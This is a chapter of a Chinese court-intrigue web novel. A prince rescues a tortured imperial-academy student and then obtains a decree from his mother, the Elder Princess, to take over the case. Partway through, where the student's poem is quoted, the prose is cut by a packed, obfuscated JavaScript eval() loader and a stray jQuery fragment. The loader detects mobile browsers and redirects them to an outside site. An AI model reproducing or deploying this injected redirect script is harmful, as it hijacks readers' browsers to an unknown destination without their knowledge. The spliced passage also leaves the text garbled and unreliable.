三日后,细雨如丝。
雨滴顺着檐角滴落,在石板上砸出小水洼。
裴不澈站在书房的窗前,望着檐角滴落的雨水出神。
“殿下,宁大人到了。”裴觉在门外轻声禀报。
裴不澈收回思绪:“让他进来。”
宁致跨进门,发梢还挂着水珠,一进门便抖了抖衣襟上的雨水:“这鬼天气,骑马都看不清路。”
“查得如何?”裴不澈递过一块手帕。
宁致接过擦了擦脸,压低声音道:“长公主这几日以清查叛党为名,抄了太子司议郎郑怀远、詹事长孙非、大理寺少卿楚铮等六位官员的家。郑家女眷被发配教坊司,楚铮在狱中自尽,其余人不日在西市问斩。”
裴不澈的手指在案几上轻轻敲击:“楚铮死了?”
“说是自尽,但他有什么理由自尽?”宁致冷笑:“长公主这是要杀鸡儆猴。”
窗外雨声渐急,裴不澈眸色深沉:“郑怀远长孙非是陛下亲信,楚铮掌管刑狱多年,都是朝中清流。长公主此举,是要彻底铲除异己。”
宁致从怀中取出一卷纸,“还有国子监学子今日聚集在太学门外,抨击长公主违背礼法。这是今早从国子监流传出来的文章,已经在中京城传开。”
裴不澈挑眉:“胆子还不小。”
“何止胆子不小,他们今早将文章张贴在国子监外墙,引得路人争相抄录。我路过时,已有数百人围观。”
裴不澈展开纸张,只见上面墨迹淋漓:
清闲贞静,守节整齐,行己有耻,动静有法,是谓妇德。今有长公主,身为女子而干政弄权,违背祖宗法度,实乃国之不幸。
后面一篇更为犀利:昔吕后专权,终致诸吕之乱;唐武后称帝,致使李唐宗室凋零。今长公主效仿前朝祸水,恐将重蹈覆辙。
文章言辞直指长公主违背礼法,字字如刀。落款是“国子监诸生”。
“不止这两篇。”宁致道“国子监学生连日来写了数十篇文章,有《论女子干政之害》《辩阴阳尊卑疏》《正本清源议》等,在中京各茶楼酒肆传诵。百姓们议论纷纷,都说长公主专权跋扈。”
裴不澈唇角微勾:“写得不错。”
“你还笑得出来。”宁致道:“长公主下令抓了十七个学生,为首的学生被当街鞭笞二十,现在吊在朱雀门上示众。”
“长公主说了什么?”
“有个学生写了‘朱门酒肉臭,路有冻死骨’,三日前长公主提出盐铁税改,写这种文章分明是在影射盐铁税之事。”宁致苦笑道:“最要命的是最后这句——‘岂无丈夫志,女子乱朝纲’。听说长公主看到时,当场摔了茶盏。”
“宁致你去告诉杜如晦,让他联络官员联名上书,请求释放学子。”
宁致拧眉:“这节骨眼上,谁还敢出头?”
裴不澈:“越是如此,越要有人站出来。长公主暂时不会动杜如晦,朝臣向长公主施压,她才不会轻举妄动。”
“好,我一会儿去安排。”宁致补充道:“西市那边已经安排好了,三百亲卫分散在安业坊各处,随时可以行动。”
裴不澈点头:“小心行事。”
宁致靠近他:“裴临安,你实话告诉我,若真到了兵戎相见那一步,你会对长公主下手吗?”
裴不澈沉默良久,才道:“我不知道。”
宁致心里明白了个七七八八,没有多说,只道:“我去安排人手。”
裴不澈对长公主的感情很复杂,他不知道长公主究竟爱不爱他。她也曾像普通母亲一样把裴不澈搂在怀里唱歌哄他睡觉,也曾温柔地对他笑,叫他临安。多数时候,长公主还是歇斯底里冷漠无情地叫他滚,叫他野种。
他想要的,只是纯粹的爱。
他一走,裴不澈唤来了门外的裴觉:“备马,我要进宫。”
“是,殿下。”
裴不澈翻身上马,马蹄踏在湿滑的青石板上,溅起一串水花。
“殿下,伞——”裴觉举着油纸伞追出来。
裴不澈摆了摆手,雨水顺着他的下颌线滑落,浸湿了衣襟。
穿过开化坊,拐入朱雀大街,往日繁华的街市今日却异常冷清。
几个商贩手忙脚乱地收拾摊位,不时紧张地东张西望。远处传来一阵喧哗,夹杂着鞭子抽打的脆响和痛苦的呻吟。
裴不澈勒住缰绳,眯起眼睛望去。
二十步开外,一队身着玄甲的禁卫正围着一群白衣学生。
为首的禁军手持长鞭,狠狠抽打一个跪在地上的年轻人。那年轻人后背衣衫尽裂,血水混着雨水在青石板上蜿蜒。
那年轻人高呼:“天地有正气!女子干政,国将不国!”话音未落就被军棍击中后背,喷出一口鲜血。
“说!还有谁参与了写这些大逆不道的文章?”禁卫喝问,又是一鞭下去。
年轻人咬紧牙关,一声不吭。
旁边一个禁军从火堆中抽出根燃烧的木棍,狞笑着逼近:“李砚,你以为不说话就完了?这些污蔑长公主的文章,今日就要当着你的面全部烧光!”
火棍戳向地上散落的纸张,火舌瞬间吞噬了墨迹未干的字句
裴不澈厉声道:“住手!”
带队的是个校尉,来人是淮陵王,勉强行礼:“殿下,属下奉长公主之命查出禁书。这些狂徒诽谤长公主,按律当诛。”
“国子监学子议论朝政是本朝旧例。”裴不澈居高临下看着校尉,言简意赅:“放人。”
校尉面露难色:“这……”
“本王自会向长公主解释。”裴不澈扫过学子们青肿的脸:“还是说,你要连本王一起拿下?”
校尉这才不情不愿地挥手放人。
学生相互搀扶着站起来,有人突然高喊:“淮陵王与长公主沆瀣一气!”
还没等裴不澈说话,立刻被同伴捂住嘴拖走。
裴不澈下马,雨水顺着他的睫毛滴落。他缓步走向那个叫李砚的学子,年轻人抬起头,眼中不屈的光芒让裴不澈微微一怔
他弯腰捡起半张未烧毁的纸页,上面是清隽挺拔的字迹:“击筑裂浮云,白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027958|162923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣尽飘零。此去匣中鸣,慷慨送我行……”(1)
“别碰我的字。”李砚恶狠狠地瞪他:“你与长公主就是一丘之貉!”
裴不澈的目光从纸上移到李砚身上,没理他,将手中的纸交给禁军校尉道:“书全烧了,人放走。”
校尉抱拳道:“是,殿下。”
裴不澈又看了李砚一眼,纵马离去,马蹄溅起的水花打湿了李砚的衣袍。
宫门前,守卫见是淮陵王,不敢阻拦,连忙放行。
紫宸殿外,宫人们噤若寒蝉。殿内传来瓷器碎裂的声音,接着是长公主的怒斥:“一群不知天高地厚的书生,也敢妄议朝政!”
裴不澈整了整衣冠,朗声道:“儿子求见母亲。”
里头静了一瞬,随后传来长公主冰冷的声音:“进来。”
踏入殿内,满地碎瓷。长公主背对着他站在窗前,绛红朝服衬得她身形愈发挺拔。
“你来得正好。”长公主没有回头,“国子监的事听说了?”
裴不澈行礼:“儿子正是为此事而来。”
长公主转身,眼中寒光凛冽:“怎么,你也要为那些不知死活的书生求情?”
“非也。”裴不澈神色平静:“儿子是来请旨搜查国子监的。”
长公主眯起眼睛:“哦?”
“国子监学生聚众闹事,诽谤朝廷,罪不容赦。”裴不澈声音沉稳:“但若由禁军大张旗鼓地抓人,恐会引起士林不满。不如由儿子带人暗中搜查,将主谋缉拿归案,其余人等小惩大诫,以示天恩浩荡。”
长公主盯着他看了许久,轻笑:“临安,你什么时候学会替为母分忧了?”
“儿子一直心系母亲。”裴不澈垂眸道:“只是刘大人手段激烈,若闹出人命,恐对母亲名声不利。”
长公主缓步走近,伸手抬起他的下巴:“你是在教我做事?”
裴不澈不闪不避:“儿子不敢。”
“好一个不敢。”长公主松开手,转身走向御案:“准了,但我要看到结果。”
“儿子明白。”裴不澈躬身:“只是儿子需要母亲一道手谕,以免刘大人那边……”
长公主冷笑一声,提笔写下手谕:“去吧,别让我失望。”
裴不澈双手接过,恭敬退下。
雨势渐小,裴不澈带着手谕直奔国子监。
远远便看见禁军将学子们捆绑成一串,押在院中。刘琨站在台阶上,正命人鞭打一名白发老者——那是国子监司业周儒。
裴不澈走近,道:“慢着。”
刘琨回头,见是裴不澈,皮笑肉不笑地行礼:“殿下怎么来了?”
裴不澈亮出手谕:“长公主有令,国子监一案由本王接管。刘大人可以带着禁军回去了。”
刘琨脸色微变:“这……下官也是奉了长公主殿下之命。”
“刘大人是要抗旨?”裴不澈冷冷道。
刘琨咬牙,只得挥手示意禁军退下。
临走时,他阴恻恻地道:“殿下可要查仔细了,长公主等着要人呢。”